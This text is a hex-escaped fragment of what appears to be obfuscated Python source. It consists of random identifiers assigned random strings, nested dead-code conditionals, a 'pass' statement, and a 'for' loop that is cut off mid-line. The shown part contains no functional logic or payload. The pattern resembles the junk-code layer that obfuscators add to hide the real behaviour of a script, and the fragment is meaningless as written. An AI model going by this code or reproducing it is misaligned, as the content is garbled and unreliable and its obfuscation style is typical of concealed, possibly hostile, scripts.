a\x6f\x51\x6b\x58\x73\x45\x43\x68\x52\x74\x49\x42\x46\x43\x49\x45\x74\x47\x74\x48\x59\x44\x4a\x53\x48\x43\x52\x6f\x70\x79\x47\x45\x77\x70\x78\x78\x5a\x49\x51\x67\x71\x51\x44\x78\x47\x53\x57\x45\x49\x53\x6f\x44\x47\x77\x75\x42\x4f\x51\x75\x72\x43\x78\x45\x46\x7a\x42\x48\x79\x75\x49\x49\x49\x50\x59\x53\x68\x65\x43\x78\x6b\x45\x45\x41\x45\x44\x44\x44\x43\x6e\x4a\x41\x4d\x75\x4d\x42\x46\x76\x45\x43\x50\x49\x4a\x51\x42\x43\x7a\x46\x72\x65\x7a\x52\x59\x77\x20\x3d\x20\x27\x46\x78\x75\x74\x50\x77\x77\x51\x51\x70\x6f\x74\x41\x48\x57\x79\x75\x53\x47\x53\x79\x7a\x46\x4a\x54\x69\x71\x46\x41\x49\x43\x43\x49\x47\x44\x6e\x74\x4f\x4f\x47\x44\x53\x51\x45\x54\x46\x53\x50\x42\x6e\x48\x70\x6f\x42\x77\x42\x45\x44\x7a\x44\x69\x71\x44\x46\x61\x42\x48\x7a\x75\x6d\x48\x4a\x79\x47\x50\x49\x53\x45\x43\x6d\x6d\x76\x49\x44\x42\x6e\x69\x53\x77\x76\x70\x72\x6b\x4e\x41\x4e\x75\x47\x58\x72\x4a\x4a\x75\x4a\x54\x6d\x49\x51\x4e\x7a\x43\x47\x70\x47\x72\x46\x77\x5a\x48\x58\x52\x73\x71\x6d\x46\x4b\x69\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x75\x42\x53\x77\x46\x7a\x46\x68\x47\x49\x4d\x47\x53\x58\x56\x51\x76\x4e\x53\x53\x46\x45\x52\x47\x4a\x71\x51\x44\x44\x72\x75\x7a\x79\x43\x51\x6e\x71\x49\x53\x79\x42\x76\x77\x43\x6d\x45\x45\x7a\x50\x79\x43\x4d\x68\x4c\x53\x42\x4a\x77\x73\x45\x48\x75\x44\x44\x7a\x52\x55\x53\x48\x49\x49\x51\x51\x45\x71\x43\x77\x52\x53\x7a\x45\x6c\x4d\x44\x46\x6a\x43\x41\x47\x45\x41\x53\x51\x49\x58\x43\x75\x49\x66\x42\x73\x42\x71\x56\x4f\x50\x49\x73\x51\x7a\x6d\x76\x42\x65\x45\x70\x71\x42\x46\x44\x49\x41\x76\x4a\x43\x77\x41\x20\x69\x6e\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x42\x53\x77\x46\x7a\x46\x68\x47\x49\x4d\x47\x53\x58\x56\x51\x76\x4e\x53\x53\x46\x45\x52\x47\x4a\x71\x51\x44\x44\x72\x75\x7a\x79\x43\x51\x6e\x71\x49\x53\x79\x42\x76\x77\x43\x6d\x45\x45\x7a\x50\x79\x43\x4d\x68\x4c\x53\x42\x4a\x77\x73\x45\x48\x75\x44\x44\x7a\x52\x55\x53\x48\x49\x49\x51\x51\x45\x71\x43\x77\x52\x53\x7a\x45\x6c\x4d\x44\x46\x6a\x43\x41\x47\x45\x41\x53\x51\x49\x58\x43\x75\x49\x66\x42\x73\x42\x71\x56\x4f\x50\x49\x73\x51\x7a\x6d\x76\x42\x65\x45\x70\x71\x42\x46\x44\x49\x41\x76\x4a\x43\x77\x41\x20\x3d\x20\x45\x59\x45\x73\x72\x44\x76\x50\x42\x44\x79\x41\x7a\x4a\x6f\x51\x6b\x58\x73\x45\x43\x68\x52\x74\x49\x42\x46\x43\x49\x45\x74\x47\x74\x48\x59\x44\x4a\x53\x48\x43\x52\x6f\x70\x79\x47\x45\x77\x70\x78\x78\x5a\x49\x51\x67\x71\x51\x44\x78\x47\x53\x57\x45\x49\x53\x6f\x44\x47\x77\x75\x42\x4f\x51\x75\x72\x43\x78\x45\x46\x7a\x42\x48\x79\x75\x49\x49\x49\x50\x59\x53\x68\x65\x43\x78\x6b\x45\x45\x41\x45\x44\x44\x44\x43\x6e\x4a\x41\x4d\x75\x4d\x42\x46\x76\x45\x43\x50\x49\x4a\x51\x42\x43\x7a\x46\x72\x65\x7a\x52\x59\x77\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x20\x69\x6e\x20\x41\x44\x49\x53\x47\x42\x6e\x6e\x45\x48\x7a\x4d\x41\x65\x48\x74\x46\x47\x7a\x4f\x7a\x50\x56\x50\x77\x69\x6d\x78\x74\x4a\x52\x4b\x79\x70\x64\x45\x54\x48\x50\x47\x48\x78\x74\x48\x4a\x43\x53\x76\x78\x4a\x44\x48\x66\x4a\x50\x44\x75\x6f\x52\x76\x53\x51\x4a\x6f\x78\x7a\x4e\x6f\x75\x73\x4d\x79\x6f\x57\x70\x74\x52\x43\x7a\x78\x44\x49\x46\x52\x7a\x5a\x4a\x57\x57\x79\x51\x7a\x75\x44\x45\x6d\x59\x44\x72\x45\x41\x4f\x4e\x48\x4e\x42\x75\x49\x4e\x48\x52\x47\x47\x49\x4a\x42\x79\x6d\x6d\x4f\x75\x45\x4d\x48\x6e\x52\x76\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x20\x3d\x20\x42\x53\x72\x75\x76\x6a\x52\x4d\x7a\x74\x6e\x49\x48\x72\x4a\x44\x53\x52\x46\x4a\x6d\x48\x69\x48\x6e\x4a\x78\x79\x68\x44\x6c\x70\x53\x7a\x51\x4e\x6b\x73\x4e\x71\x55\x56\x78\x73\x74\x4e\x49\x4a\x57\x63\x68\x50\x74\x48\x7a\x48\x4d\x49\x43\x4a\x73\x47\x52\x46\x4a\x6c\x46\x74\x57\x48\x78\x52\x71\x78\x6d\x6f\x7a\x76\x49\x48\x46\x4b\x46\x74\x54\x41\x51\x45\x6b\x5a\x4c\x44\x52\x43\x69\x4d\x7a\x75\x4a\x49\x42\x4c\x74\x54\x47\x79\x45\x70\x52\x55\x54\x7a\x54\x43\x53\x4a\x46\x45\x50\x43\x47\x42\x54\x6b\x6a\x41\x4e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x20\x69\x6e\x20\x75\x42\x53\x77\x46\x7a\x46\x68\x47\x49\x4d\x47\x53\x58\x56\x51\x76\x4e\x53\x53\x46\x45\x52\x47\x4a\x71\x51\x44\x44\x72\x75\x7a\x79\x43\x51\x6e\x71\x49\x53\x79\x42\x76\x77\x43\x6d\x45\x45\x7a\x50\x79\x43\x4d\x68\x4c\x53\x42\x4a\x77\x73\x45\x48\x75\x44\x44\x7a\x52\x55\x53\x48\x49\x49\x51\x51\x45\x71\x43\x77\x52\x53\x7a\x45\x6c\x4d\x44\x46\x6a\x43\x41\x47\x45\x41\x53\x51\x49\x58\x43\x75\x49\x66\x42\x73\x42\x71\x56\x4f\x50\x49\x73\x51\x7a\x6d\x76\x42\x65\x45\x70\x71\x42\x46\x44\x49\x41\x76\x4a\x43\x77\x41\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x41\x44\x49\x53\x47\x42\x6e\x6e\x45\x48\x7a\x4d\x41\x65\x48\x74\x46\x47\x7a\x4f\x7a\x50\x56\x50\x77\x69\x6d\x78\x74\x4a\x52\x4b\x79\x70\x64\x45\x54\x48\x50\x47\x48\x78\x74\x48\x4a\x43\x53\x76\x78\x4a\x44\x48\x66\x4a\x50\x44\x75\x6f\x52\x76\x53\x51\x4a\x6f\x78\x7a\x4e\x6f\x75\x73\x4d\x79\x6f\x57\x70\x74\x52\x43\x7a\x78\x44\x49\x46\x52\x7a\x5a\x4a\x57\x57\x79\x51\x7a\x75\x44\x45\x6d\x59\x44\x72\x45\x41\x4f\x4e\x48\x4e\x42\x75\x49\x4e\x48\x52\x47\x47\x49\x4a\x42\x79\x6d\x6d\x4f\x75\x45\x4d\x48\x6e\x52\x76\x20\x3d\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x41\x44\x49\x53\x47\x42\x6e\x6e\x45\x48\x7a\x4d\x41\x65\x48\x74\x46\x47\x7a\x4f\x7a\x50\x56\x50\x77\x69\x6d\x78\x74\x4a\x52\x4b\x79\x70\x64\x45\x54\x48\x50\x47\x48\x78\x74\x48\x4a\x43\x53\x76\x78\x4a\x44\x48\x66\x4a\x50\x44\x75\x6f\x52\x76\x53\x51\x4a\x6f\x78\x7a\x4e\x6f\x75\x73\x4d\x79\x6f\x57\x70\x74\x52\x43\x7a\x78\x44\x49\x46\x52\x7a\x5a\x4a\x57\x57\x79\x51\x7a\x75\x44\x45\x6d\x59\x44\x72\x45\x41\x4f\x4e\x48\x4e\x42\x75\x49\x4e\x48\x52\x47\x47\x49\x4a\x42\x79\x6d\x6d\x4f\x75\x45\x4d\x48\x6e\x52\x76\x20\x69\x6e\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x49\x6a\x79\x47\x6f\x77\x4e\x43\x53\x53\x53\x78\x76\x79\x73\x49\x50\x41\x77\x47\x71\x52\x7a\x4f\x44\x4e\x57\x51\x71\x53\x4f\x49\x49\x65\x4a\x51\x65\x51\x4a\x47\x5a\x71\x46\x44\x42\x77\x6d\x43\x47\x48\x6a\x47\x46\x73\x4b\x77\x49\x48\x6a\x78\x75\x44\x48\x46\x73\x76\x4e\x7a\x4f\x58\x49\x52\x49\x42\x58\x41\x67\x74\x6d\x73\x49\x48\x50\x75\x49\x68\x6e\x4a\x4a\x73\x48\x43\x7a\x52\x46\x75\x7a\x56\x50\x47\x52\x43\x43\x70\x68\x4e\x43\x4d\x79\x79\x67\x43\x45\x77\x6a\x74\x74\x6f\x72\x45\x54\x4f\x51\x58\x6c\x75\x6e\x20\x3d\x20\x45\x59\x45\x73\x72\x44\x76\x50\x42\x44\x79\x41\x7a\x4a\x6f\x51\x6b\x58\x73\x45\x43\x68\x52\x74\x49\x42\x46\x43\x49\x45\x74\x47\x74\x48\x59\x44\x4a\x53\x48\x43\x52\x6f\x70\x79\x47\x45\x77\x70\x78\x78\x5a\x49\x51\x67\x71\x51\x44\x78\x47\x53\x57\x45\x49\x53\x6f\x44\x47\x77\x75\x42\x4f\x51\x75\x72\x43\x78\x45\x46\x7a\x42\x48\x79\x75\x49\x49\x49\x50\x59\x53\x68\x65\x43\x78\x6b\x45\x45\x41\x45\x44\x44\x44\x43\x6e\x4a\x41\x4d\x75\x4d\x42\x46\x76\x45\x43\x50\x49\x4a\x51\x42\x43\x7a\x46\x72\x65\x7a\x52\x59\x77\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x20\x3d\x20\x27\x41\x71\x53\x6d\x6c\x41\x72\x7a\x44\x74\x76\x6b\x49\x53\x77\x78\x49\x6f\x48\x79\x52\x52\x6d\x53\x49\x76\x59\x52\x45\x74\x48\x7a\x70\x45\x56\x46\x63\x78\x68\x71\x65\x4a\x74\x43\x52\x7a\x41\x4d\x62\x4a\x79\x52\x77\x70\x78\x75\x41\x79\x49\x51\x69\x70\x52\x73\x43\x44\x50\x6e\x43\x67\x54\x47\x52\x74\x49\x78\x55\x79\x72\x70\x47\x45\x74\x41\x43\x48\x51\x51\x44\x53\x47\x44\x4a\x43\x72\x44\x66\x73\x69\x54\x41\x43\x44\x4a\x70\x6d\x57\x50\x7a\x41\x79\x4a\x72\x4f\x43\x48\x53\x47\x68\x50\x75\x48\x4a\x43\x77\x7a\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x52\x54\x71\x52\x50\x50\x41\x43\x6d\x54\x4f\x78\x43\x47\x47\x6e\x53\x6d\x54\x65\x4a\x75\x73\x48\x79\x6f\x75\x77\x50\x6c\x71\x70\x58\x47\x4b\x4d\x41\x73\x53\x66\x49\x4f\x77\x76\x65\x76\x41\x49\x41\x71\x6b\x78\x49\x53\x46\x4a\x46\x68\x44\x79\x52\x52\x72\x71\x50\x48\x47\x71\x6f\x70\x46\x51\x49\x41\x4a\x6f\x45\x47\x41\x4a\x6f\x4e\x69\x47\x4a\x48\x43\x53\x51\x52\x45\x4d\x48\x76\x4a\x57\x4a\x74\x52\x77\x78\x46\x4a\x52\x53\x44\x72\x77\x53\x53\x51\x42\x53\x43\x4f\x42\x6f\x4d\x45\x69\x4d\x46\x41\x65\x62\x45\x43\x20\x3d\x20\x27\x7a\x51\x6d\x50\x77\x4f\x44\x6a\x49\x6d\x79\x49\x49\x51\x59\x4a\x6f\x58\x43\x52\x72\x4c\x43\x41\x52\x41\x49\x6c\x48\x77\x43\x45\x49\x52\x73\x78\x73\x70\x56\x58\x47\x4a\x41\x78\x79\x6d\x73\x45\x4f\x4a\x52\x44\x50\x54\x4a\x42\x48\x4a\x67\x43\x6e\x6e\x50\x6c\x49\x75\x69\x74\x47\x64\x74\x43\x43\x42\x6d\x43\x49\x78\x46\x77\x47\x77\x78\x65\x72\x42\x66\x46\x47\x76\x47\x46\x44\x4a\x47\x53\x70\x48\x78\x79\x77\x41\x47\x48\x41\x77\x4e\x50\x78\x53\x51\x44\x42\x50\x5a\x41\x53\x73\x41\x71\x76\x7a\x42\x77\x47\x6d\x53\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x20\x3d\x20\x27\x65\x41\x7a\x4f\x49\x79\x6a\x41\x46\x71\x72\x59\x5a\x45\x73\x4a\x79\x4c\x49\x56\x52\x61\x76\x47\x4e\x53\x6b\x53\x78\x43\x51\x53\x7a\x7a\x45\x46\x42\x49\x43\x79\x47\x41\x7a\x54\x51\x41\x41\x49\x44\x53\x54\x73\x72\x43\x41\x45\x4f\x44\x75\x7a\x50\x45\x73\x74\x4c\x5a\x7a\x4e\x73\x68\x45\x7a\x46\x64\x53\x4f\x5a\x72\x52\x42\x50\x72\x76\x51\x46\x43\x6d\x46\x41\x52\x76\x52\x77\x45\x68\x5a\x42\x43\x71\x78\x53\x7a\x45\x49\x43\x46\x47\x74\x48\x72\x57\x42\x78\x52\x6b\x6a\x70\x68\x54\x53\x76\x53\x48\x4f\x4d\x71\x43\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x56\x53\x43\x78\x71\x52\x45\x6a\x47\x6d\x53\x78\x76\x59\x51\x4e\x45\x51\x53\x72\x67\x46\x53\x6e\x47\x41\x48\x4a\x45\x49\x53\x6f\x69\x47\x6f\x6e\x46\x76\x49\x7a\x58\x44\x4a\x49\x73\x54\x47\x4a\x78\x52\x50\x79\x45\x53\x51\x6c\x45\x75\x75\x4f\x4f\x52\x69\x78\x44\x7a\x47\x41\x52\x4f\x53\x43\x72\x50\x72\x66\x49\x75\x50\x77\x45\x43\x50\x78\x70\x43\x59\x66\x6f\x52\x72\x5a\x71\x4e\x45\x48\x4a\x51\x43\x46\x72\x45\x72\x70\x52\x45\x4a\x47\x4f\x6c\x53\x7a\x53\x47\x52\x67\x58\x79\x49\x75\x70\x47\x49\x4e\x68\x50\x20\x3d\x20\x27\x4a\x49\x78\x71\x74\x47\x73\x4e\x7a\x49\x47\x79\x51\x42\x51\x46\x52\x51\x51\x46\x6e\x79\x41\x50\x78\x42\x76\x43\x47\x49\x78\x6e\x7a\x6a\x43\x48\x4c\x70\x42\x6c\x69\x75\x7a\x52\x6d\x4f\x4a\x42\x79\x6e\x52\x4a\x77\x79\x51\x50\x43\x70\x4f\x45\x6b\x75\x50\x77\x47\x45\x58\x4d\x4a\x7a\x4f\x47\x45\x54\x5a\x48\x4e\x46\x47\x52\x57\x50\x50\x41\x51\x76\x73\x4f\x58\x75\x51\x41\x4a\x78\x51\x50\x51\x42\x52\x68\x4f\x72\x51\x78\x52\x76\x4d\x74\x68\x42\x4a\x52\x52\x45\x41\x77\x73\x71\x44\x45\x55\x51\x4c\x45\x6d\x58\x52\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x79\x44\x79\x65\x49\x52\x44\x4a\x4d\x4f\x41\x52\x75\x4b\x47\x49\x53\x56\x48\x77\x6f\x41\x48\x41\x67\x61\x51\x4d\x48\x71\x74\x79\x79\x59\x44\x41\x79\x53\x4a\x4d\x47\x71\x76\x5a\x42\x44\x53\x58\x73\x52\x73\x6b\x49\x71\x43\x52\x43\x75\x70\x76\x42\x63\x46\x47\x43\x44\x7a\x79\x4f\x68\x42\x69\x6b\x42\x6e\x78\x51\x79\x7a\x52\x44\x71\x77\x48\x55\x49\x41\x43\x43\x44\x44\x43\x4d\x6f\x7a\x51\x47\x43\x6e\x50\x78\x78\x51\x49\x4d\x73\x6e\x59\x43\x67\x48\x43\x74\x46\x76\x47\x48\x4c\x67\x4d\x55\x64\x6a\x46\x59\x72\x20\x3d\x20\x27\x41\x6c\x4d\x71\x76\x64\x42\x42\x49\x77\x44\x43\x52\x75\x41\x62\x77\x6a\x79\x4e\x73\x44\x79\x75\x41\x71\x4e\x71\x50\x79\x44\x7a\x79\x76\x42\x43\x52\x44\x6d\x6f\x46\x76\x43\x53\x52\x6d\x42\x48\x6a\x51\x49\x50\x5a\x45\x46\x77\x49\x5a\x58\x4a\x75\x79\x52\x77\x79\x41\x49\x76\x44\x43\x50\x51\x75\x52\x4c\x49\x68\x43\x76\x50\x41\x45\x6b\x53\x44\x74\x6e\x46\x53\x76\x69\x6e\x59\x52\x70\x53\x66\x50\x50\x47\x77\x52\x53\x43\x54\x50\x61\x44\x73\x55\x72\x49\x65\x74\x47\x4d\x65\x4a\x44\x53\x76\x72\x57\x46\x76\x7a\x50\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x47\x75\x4a\x4d\x72\x6f\x45\x75\x42\x79\x6f\x46\x6b\x6d\x79\x47\x79\x49\x44\x77\x45\x66\x6f\x70\x75\x7a\x4a\x59\x48\x59\x73\x53\x48\x4a\x6e\x76\x48\x74\x51\x47\x52\x51\x71\x50\x77\x5a\x51\x55\x6f\x72\x75\x53\x72\x79\x6c\x48\x44\x50\x79\x53\x77\x65\x64\x4f\x47\x49\x72\x53\x71\x4e\x4f\x72\x75\x72\x45\x49\x68\x72\x56\x47\x45\x6a\x75\x45\x52\x72\x44\x4a\x43\x42\x46\x76\x77\x7a\x4a\x75\x67\x46\x53\x49\x79\x6d\x72\x4a\x43\x78\x42\x4d\x48\x72\x79\x52\x69\x47\x77\x70\x62\x78\x45\x79\x42\x7a\x4c\x45\x75\x54\x48\x20\x3d\x20\x27\x50\x52\x79\x4e\x52\x46\x74\x4a\x41\x51\x4a\x47\x59\x74\x75\x44\x75\x51\x47\x4a\x47\x46\x47\x7a\x79\x46\x57\x48\x50\x6b\x76\x52\x50\x42\x6e\x6e\x76\x4a\x59\x45\x72\x47\x44\x53\x53\x49\x4f\x46\x53\x6f\x48\x6f\x6d\x7a\x68\x52\x48\x41\x7a\x79\x6d\x53\x49\x78\x63\x79\x76\x41\x51\x4a\x44\x4b\x6b\x50\x56\x75\x4e\x50\x54\x79\x47\x6d\x5a\x72\x74\x6b\x4d\x43\x67\x56\x74\x45\x4f\x44\x53\x70\x68\x44\x78\x69\x75\x7a\x79\x47\x43\x53\x70\x71\x79\x4c\x48\x75\x42\x6f\x79\x6e\x76\x47\x45\x44\x44\x73\x46\x66\x41\x42\x51\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x20\x21\x3d\x20\x44\x56\x53\x43\x78\x71\x52\x45\x6a\x47\x6d\x53\x78\x76\x59\x51\x4e\x45\x51\x53\x72\x67\x46\x53\x6e\x47\x41\x48\x4a\x45\x49\x53\x6f\x69\x47\x6f\x6e\x46\x76\x49\x7a\x58\x44\x4a\x49\x73\x54\x47\x4a\x78\x52\x50\x79\x45\x53\x51\x6c\x45\x75\x75\x4f\x4f\x52\x69\x78\x44\x7a\x47\x41\x52\x4f\x53\x43\x72\x50\x72\x66\x49\x75\x50\x77\x45\x43\x50\x78\x70\x43\x59\x66\x6f\x52\x72\x5a\x71\x4e\x45\x48\x4a\x51\x43\x46\x72\x45\x72\x70\x52\x45\x4a\x47\x4f\x6c\x53\x7a\x53\x47\x52\x67\x58\x79\x49\x75\x70\x47\x49\x4e\x68\x50\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x52\x54\x71\x52\x50\x50\x41\x43\x6d\x54\x4f\x78\x43\x47\x47\x6e\x53\x6d\x54\x65\x4a\x75\x73\x48\x79\x6f\x75\x77\x50\x6c\x71\x70\x58\x47\x4b\x4d\x41\x73\x53\x66\x49\x4f\x77\x76\x65\x76\x41\x49\x41\x71\x6b\x78\x49\x53\x46\x4a\x46\x68\x44\x79\x52\x52\x72\x71\x50\x48\x47\x71\x6f\x70\x46\x51\x49\x41\x4a\x6f\x45\x47\x41\x4a\x6f\x4e\x69\x47\x4a\x48\x43\x53\x51\x52\x45\x4d\x48\x76\x4a\x57\x4a\x74\x52\x77\x78\x46\x4a\x52\x53\x44\x72\x77\x53\x53\x51\x42\x53\x43\x4f\x42\x6f\x4d\x45\x69\x4d\x46\x41\x65\x62\x45\x43\x20\x3d\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x47\x75\x4a\x4d\x72\x